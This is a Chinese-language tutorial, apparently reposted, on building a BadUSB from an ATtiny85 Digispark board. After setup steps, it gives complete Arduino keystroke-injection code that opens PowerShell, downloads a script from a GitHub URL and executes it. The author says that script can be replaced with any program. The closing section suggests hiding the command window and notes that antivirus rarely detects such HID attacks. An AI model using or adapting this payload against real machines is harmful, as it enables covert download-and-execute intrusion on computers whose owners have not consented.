利用ATiny85制作BadUSB


0x00.准備:

  ATiny85的板子

  淘寶十元包郵。有兩款,兩款都可以,建議選擇左邊的,這樣可以直接插入USB口,第二款也可以,不過需要一根Micro的數據線(舊款安卓手機使用的線)。

  

  電腦安裝驅動
  當第一次插入這個設備到電腦上的時候,電腦系統會自動進行安裝驅動程序,如果安裝失敗,請自行點擊下面的網址進行下載並安裝!

  https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

  下載的驅動文件,解壓並執行相應的版本(64位操作系統執行DPinst64.exe,32位執行DPinst.exe)。

  

  下圖是驅動安裝完成的截圖.

  配置燒錄軟件
  推薦使用Arduino IDE。到Arduino官方網站進行下載安裝
  下載網址:https://www.arduino.cc/en/Main/Software?setlang=cn

  進入程序界面后,點擊 文件 --> 首選項。
  將http://digistump.com/package_digistump_index.json 復制到紅色線框標記的地方。

  然后在 工具 選擇Boards Manager... 

  

  等待加載完成后(等待時間可能有點長),選擇下圖紅框標注的版本(這里已安裝會顯示Remove,如果是未安裝的會顯示Install。

  下載完成后,即可在工具里看到Digispark (Default - 16.5mhz),編程器選擇“USBtinyISP

  插上開發板安裝好驅動后,這里設備管理器會不斷發現它在刷新,可以不用按照網上其他教程,可以插上板子,將程序編譯上傳。
  燒錄進去程序后,設備管理器就不會閃了。

 0x02.燒錄代碼

  貼一個自己測試的程序,通過下載一個powershell腳本,運行此腳本來改桌面的壁紙。(這里的腳本可以修改為想要的程序)

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300); 
DigiKeyboard.println("POWERSHELL -NOP");
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000); 
DigiKeyboard.println("$client = new-object System.Net.WebClient");
DigiKeyboard.println("$client.DownloadFile(\'https://raw.githubusercontent.com/HuIsec/person/master/test.ps1\','e:\\test.ps1')");
DigiKeyboard.delay(3000);
DigiKeyboard.println("e:\\test.ps1");
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.println("exit");

}

void loop() {

}

  將代碼復制到編輯框中,保存一下后,點擊上傳,即可自動編譯后上傳。

 

 

  如果需要對Attiny 85開發板進行重寫開發,重新編寫代碼,或者修改代碼。建議先把Attiny 85開發板拔出,先把代碼寫好,點擊上傳,等提示:Plug in device now... (will timeout in 60 seconds),再把設備插入即可!

0x03.總結

  此腳本還有很多不完善的地方,這里為了方便自己可以調試,以及可以看到所有過程,所以沒有做一些“隱蔽性”工作,后續可以自己完善。(比如,使用cmd窗口來執行powershell命令,以及對cmd窗口進行小窗口來隱藏一下。)
  目前殺毒軟件對HID攻擊檢測不敏感,通過模擬鍵盤輸入,來達到快速將想要執行的代碼在目標主機上執行。

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM